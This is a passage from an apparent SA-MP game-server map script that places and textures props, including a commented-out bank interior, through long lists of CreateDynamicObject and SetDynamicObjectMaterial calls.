CreateDynamicObject(1893, 640.30, -1558.70, -17.89,   0.00, 0.00, 0.00);
CreateDynamicObject(1893, 648.65, -1557.60, -17.89,   0.00, 0.00, 0.00);
CreateDynamicObject(3281, 637.66, -1558.81, -21.08,   0.00, 0.00, 90.00);
CreateDynamicObject(3281, 637.68, -1566.34, -20.91,   0.00, 0.00, 90.00);
CreateDynamicObject(3431, 653.31, -1547.24, -21.42,   0.00, 0.00, 180.00);
CreateDynamicObject(3431, 653.31, -1545.33, -21.42,   0.00, 0.00, 180.00);
CreateDynamicObject(2614, 639.02, -1561.62, -19.99,   0.00, 0.00, 0.00);
CreateDynamicObject(1513, 637.96, -1563.84, -20.50,   0.00, 0.00, 25.00);
CreateDynamicObject(1514, 638.54, -1563.72, -20.55,   0.00, 0.00, 0.00);
CreateDynamicObject(1850, 642.55, -1566.69, -21.76,   0.00, 0.00, -90.00);
CreateDynamicObject(18092, 638.95, -1563.48, -21.27,   0.00, 0.00, 180.00);
CreateDynamicObject(1514, 640.16, -1563.72, -20.55,   0.00, 0.00, 0.00);
CreateDynamicObject(2894, 640.91, -1563.36, -20.77,   0.00, 0.00, 222.00);
CreateDynamicObject(19859, 639.48, -1568.55, -20.53,   0.00, 0.00, 0.00);
CreateDynamicObject(2642, 638.53, -1568.59, -20.03,   0.00, 0.00, 0.00);
CreateDynamicObject(2642, 642.01, -1568.59, -20.03,   0.00, 0.00, 0.00);
CreateDynamicObject(1009, 642.65, -1565.69, -21.00,   0.00, 0.00, 90.00);
CreateDynamicObject(1009, 642.72, -1566.56, -21.00,   0.00, 0.00, 86.00);
CreateDynamicObject(1009, 642.64, -1567.45, -21.00,   0.00, 0.00, 92.00);
CreateDynamicObject(1650, 642.34, -1567.59, -21.11,   0.00, 0.00, 90.00);
CreateDynamicObject(1650, 642.36, -1567.19, -21.11,   0.00, 0.00, 90.00);
CreateDynamicObject(1650, 642.36, -1566.83, -21.11,   0.00, 0.00, 90.00);
CreateDynamicObject(1650, 642.35, -1566.43, -21.11,   0.00, 0.00, 90.00);
CreateDynamicObject(1650, 642.34, -1566.08, -21.11,   0.00, 0.00, 90.00);
CreateDynamicObject(1650, 642.34, -1565.63, -21.11,   0.00, 0.00, 90.00);
CreateDynamicObject(1650, 642.32, -1565.23, -21.11,   0.00, 0.00, 90.00);
CreateDynamicObject(1549, 641.52, -1568.21, -21.84,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.61, -1567.55, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.53, -1567.60, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.53, -1567.50, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.62, -1567.47, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.56, -1567.34, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.67, -1566.72, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.59, -1566.90, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.66, -1566.82, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.51, -1566.75, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.58, -1566.62, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.62, -1565.79, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.61, -1565.87, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.63, -1566.01, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.53, -1566.05, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.55, -1565.68, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(365, 642.51, -1565.79, -20.43,   0.00, 0.00, 0.00);
CreateDynamicObject(18633, 642.70, -1565.67, -20.11,   0.00, 90.00, -10.00);
CreateDynamicObject(18633, 642.71, -1566.67, -20.11,   0.00, 90.00, -10.00);
CreateDynamicObject(18633, 642.63, -1567.54, -20.11,   0.00, 90.00, -10.00);
CreateDynamicObject(2607, 643.99, -1552.29, -21.35,   0.00, 0.00, 0.00);
CreateDynamicObject(2207, 648.87, -1552.44, -21.79,   0.00, 0.00, 0.00);
CreateDynamicObject(2009, 639.11, -1552.57, -21.77,   0.00, 0.00, 90.00);
CreateDynamicObject(1663, 639.31, -1551.21, -21.31,   0.00, 0.00, -30.00);
CreateDynamicObject(1663, 644.07, -1551.22, -21.31,   0.00, 0.00, -30.00);
CreateDynamicObject(1714, 649.75, -1550.47, -21.72,   0.00, 0.00, 0.00);
CreateDynamicObject(1721, 647.45, -1560.61, -21.74,   0.00, 0.00, 90.00);
CreateDynamicObject(1721, 647.45, -1561.20, -21.74,   0.00, 0.00, 90.00);
CreateDynamicObject(1721, 647.45, -1561.79, -21.74,   0.00, 0.00, 90.00);
CreateDynamicObject(1721, 647.45, -1562.39, -21.74,   0.00, 0.00, 90.00);
CreateDynamicObject(2001, 647.20, -1559.74, -21.84,   0.00, 0.00, 0.00);
CreateDynamicObject(955, 643.55, -1562.50, -21.37,   0.00, 0.00, 90.00);
CreateDynamicObject(2166, 645.14, -1566.67, -21.71,   0.00, 0.00, 0.00);
CreateDynamicObject(2166, 647.09, -1565.87, -21.71,   0.00, 0.00, -90.00);
CreateDynamicObject(1663, 646.56, -1567.30, -21.29,   0.00, 0.00, -135.00);
CreateDynamicObject(19166, 645.34, -1568.54, -20.14,   90.00, 0.00, 180.00);
CreateDynamicObject(19173, 647.58, -1561.48, -19.98,   0.00, 0.00, 90.00);
CreateDynamicObject(19175, 649.98, -1559.14, -19.76,   0.00, 0.00, 180.00);
CreateDynamicObject(2258, 646.91, -1552.61, -20.16,   0.00, 0.00, 90.00);
CreateDynamicObject(2257, 649.79, -1549.70, -20.11,   0.00, 0.00, 0.00);
CreateDynamicObject(2256, 644.28, -1549.82, -20.10,   0.00, 0.00, 0.00);
CreateDynamicObject(2260, 646.19, -1553.62, -20.36,   0.00, 0.00, -90.00);
CreateDynamicObject(2196, 643.47, -1551.78, -20.92,   0.00, 0.00, 25.00);
CreateDynamicObject(1721, 644.59, -1553.97, -21.74,   0.00, 0.00, 33.00);
CreateDynamicObject(1721, 642.99, -1554.15, -21.74,   0.00, 0.00, -18.00);
CreateDynamicObject(1721, 641.65, -1555.32, -21.74,   0.00, 0.00, 90.00);
CreateDynamicObject(1721, 641.65, -1554.72, -21.74,   0.00, 0.00, 90.00);
CreateDynamicObject(1721, 641.65, -1554.13, -21.74,   0.00, 0.00, 90.00);
CreateDynamicObject(2066, 641.45, -1550.31, -21.76,   0.00, 0.00, 0.00);
CreateDynamicObject(2066, 640.86, -1550.31, -21.76,   0.00, 0.00, 0.00);
CreateDynamicObject(2066, 640.26, -1550.31, -21.76,   0.00, 0.00, 0.00);
CreateDynamicObject(2066, 646.36, -1550.29, -21.76,   0.00, 0.00, 0.00);
CreateDynamicObject(2066, 645.77, -1550.29, -21.76,   0.00, 0.00, 0.00);
CreateDynamicObject(2066, 647.21, -1550.29, -21.76,   0.00, 0.00, 0.00);
CreateDynamicObject(2066, 647.81, -1550.29, -21.76,   0.00, 0.00, 0.00);
CreateDynamicObject(2066, 652.40, -1550.29, -21.76,   0.00, 0.00, 0.00);
CreateDynamicObject(2066, 651.80, -1550.29, -21.76,   0.00, 0.00, 0.00);
CreateDynamicObject(2290, 652.18, -1555.26, -21.78,   0.00, 0.00, 180.00);
CreateDynamicObject(1721, 648.53, -1553.48, -21.74,   0.00, 0.00, -18.00);
CreateDynamicObject(1721, 651.06, -1553.59, -21.74,   0.00, 0.00, 25.00);
CreateDynamicObject(1502, 638.33, -1556.03, -21.75,   0.00, 0.00, 0.00);
CreateDynamicObject(1502, 643.14, -1556.03, -21.75,   0.00, 0.00, 0.00);
CreateDynamicObject(1502, 647.96, -1556.03, -21.75,   0.00, 0.00, 0.00);
CreateDynamicObject(1523, 640.73, -1561.52, -21.77,   0.00, 0.00, 0.00);
CreateDynamicObject(1523, 652.79, -1558.34, -21.77,   0.00, 0.00, 90.00);
//---





	// Jahanam:
/*
CreateDynamicObject(1232, 1293.98706, -833.49890, 83.33000,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 1269.28809, -833.27826, 83.33000,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2232, 1280.58398, -833.83832, 83.71000,   0.00000, 0.00000, 178.00000);
CreateDynamicObject(2232, 1285.42761, -833.73236, 83.73000,   0.00000, 0.00000, 182.00000);
CreateDynamicObject(19128, 1285.34521, -831.64160, 82.19580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, 1285.35437, -827.61163, 82.19580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, 1281.37085, -831.63885, 82.13545,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, 1281.38000, -827.63477, 82.19580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19447, 1294.99597, -825.42499, 84.05580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19447, 1294.98889, -829.09729, 84.05580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19447, 1290.17749, -833.95569, 84.05580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19447, 1280.55603, -833.96979, 84.05580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19447, 1273.43250, -833.95831, 84.05580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19447, 1268.49219, -829.11108, 84.05580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19447, 1268.50085, -825.47382, 84.05580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19447, 1273.34436, -820.62830, 84.05580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19447, 1290.17310, -820.69012, 84.05580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19387, 1281.90186, -820.63428, 84.47580,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19447, 1288.28760, -820.68280, 84.05580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19447, 1275.52551, -820.64362, 84.05580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1491, 1281.16980, -820.65015, 82.73630,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1568, 1290.83923, -821.04791, 82.13490,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1568, 1270.29077, -820.94751, 82.13303,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19447, 1273.33594, -820.63330, 87.56340,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19447, 1275.48889, -820.65295, 87.56340,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19447, 1290.20398, -820.70282, 87.56340,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19447, 1288.29102, -820.69623, 87.56340,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2230, 1269.20569, -820.59882, 82.13100,   0.00000, 0.00000, 22.00000);
CreateDynamicObject(2230, 1294.60815, -821.03070, 82.13100,   0.00000, 0.00000, -39.00000);
CreateDynamicObject(19152, 1281.68323, -833.77612, 84.92780,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19152, 1282.76465, -833.74133, 84.90367,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(8874, 1280.77136, -833.11835, 83.74000,   0.00000, 0.00000, 171.00000);
CreateDynamicObject(8873, 1283.45911, -838.43872, 83.04000,   0.00000, 0.00000, 150.00000);
CreateDynamicObject(19447, 1283.06274, -820.66241, 87.56340,   0.00000, 0.00000, 90.00000);
*/
// ------------------------------ [[[[[ BANK ]]]]----------------------------------------------------






/*

        AG_Bank[0] = CreateDynamicObject(19377, 1397.05444, 1320.60864, 1500.00000,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[1] = CreateDynamicObject(19377, 1402.86365, 1310.97815, 1499.99805,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[2] = CreateDynamicObject(19377, 1407.38416, 1320.60071, 1499.99805,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[3] = CreateDynamicObject(19377, 1407.38464, 1310.97876, 1500.00195,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[75] = CreateDynamicObject(19377, 1392.75269, 1330.16150, 1500.00195,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[76] = CreateDynamicObject(14407, 1395.54675, 1314.59460, 1496.87964,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[77] = CreateDynamicObject(19377, 1392.39172, 1314.38013, 1497.02747,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[0], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[1], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[2], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[3], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[75], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[76], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFF626262);
        SetDynamicObjectMaterial( AG_Bank[77], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFF626262);

        AG_Bank[4] = CreateDynamicObject(2229, 1409.87744, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[5] = CreateDynamicObject(2229, 1410.49170, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[6] = CreateDynamicObject(2229, 1410.49133, 1321.59106, 1500.07617,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[7] = CreateDynamicObject(2229, 1407.95337, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[8] = CreateDynamicObject(2229, 1408.56763, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[9] = CreateDynamicObject(2229, 1406.02942, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[10] = CreateDynamicObject(2229, 1406.64355, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[11] = CreateDynamicObject(2229, 1406.64331, 1321.59106, 1500.07617,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[12] = CreateDynamicObject(2229, 1403.62439, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[13] = CreateDynamicObject(2229, 1404.23865, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[14] = CreateDynamicObject(2229, 1404.23547, 1321.61084, 1500.07617,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[15] = CreateDynamicObject(2229, 1401.70044, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[16] = CreateDynamicObject(2229, 1402.31458, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[17] = CreateDynamicObject(2229, 1399.77637, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[18] = CreateDynamicObject(2229, 1400.39063, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[19] = CreateDynamicObject(2229, 1400.38745, 1321.61084, 1500.07617,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[4], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[5], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[6], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[7], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[8], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[9], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[10], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[11], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[12], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[13], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[14], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[15], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[16], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[17], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[18], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[19], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[4], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[5], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[6], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[7], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[8], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[9], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[10], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[11], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[12], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[13], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[14], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[15], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[16], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[17], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[18], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[19], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[4], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[5], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[6], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[7], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[8], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[9], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[10], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[11], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[12], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[13], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[14], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[15], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[16], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[17], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[18], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[19], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);

        AG_Bank[20] = CreateDynamicObject(1783, 1409.68652, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[21] = CreateDynamicObject(1783, 1409.05054, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[22] = CreateDynamicObject(1783, 1408.41455, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[23] = CreateDynamicObject(1783, 1407.77856, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[24] = CreateDynamicObject(1783, 1407.14258, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[25] = CreateDynamicObject(1783, 1406.50659, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[26] = CreateDynamicObject(1783, 1403.44995, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[27] = CreateDynamicObject(1783, 1402.81396, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[28] = CreateDynamicObject(1783, 1402.17798, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[29] = CreateDynamicObject(1783, 1401.54199, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[30] = CreateDynamicObject(1783, 1400.90601, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[31] = CreateDynamicObject(1783, 1400.27002, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[20], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[21], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[22], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[23], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[24], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[25], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[26], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[27], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[28], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[29], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[30], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[31], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[20], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[21], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[22], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[23], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[24], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[25], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[26], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[27], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[28], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[29], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[30], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[31], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[20], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[21], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[22], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[23], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[24], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[25], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[26], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[27], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[28], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[29], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[30], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank[31], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);

        AG_Bank[32] = CreateDynamicObject(19371, 1408.41614, 1320.75476, 1499.31506,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[33] = CreateDynamicObject(19371, 1408.09814, 1320.74878, 1499.31506,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[34] = CreateDynamicObject(19371, 1402.32776, 1320.79736, 1499.31506,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[35] = CreateDynamicObject(19371, 1401.69177, 1320.79541, 1499.31506,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[32], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[33], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[34], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[35], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);

        AG_Bank[36] = CreateDynamicObject(19425, 1408.43188, 1321.10217, 1500.77808,   180.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[37] = CreateDynamicObject(19425, 1408.13196, 1321.10217, 1500.77612,   180.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[38] = CreateDynamicObject(19425, 1408.13196, 1321.23425, 1500.78015,   180.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[39] = CreateDynamicObject(19425, 1408.43188, 1321.23425, 1500.77612,   180.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[40] = CreateDynamicObject(19425, 1402.16382, 1321.07813, 1500.77808,   180.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[41] = CreateDynamicObject(19425, 1401.90002, 1321.07813, 1500.77612,   180.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[42] = CreateDynamicObject(19425, 1402.16382, 1321.23425, 1500.77612,   180.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
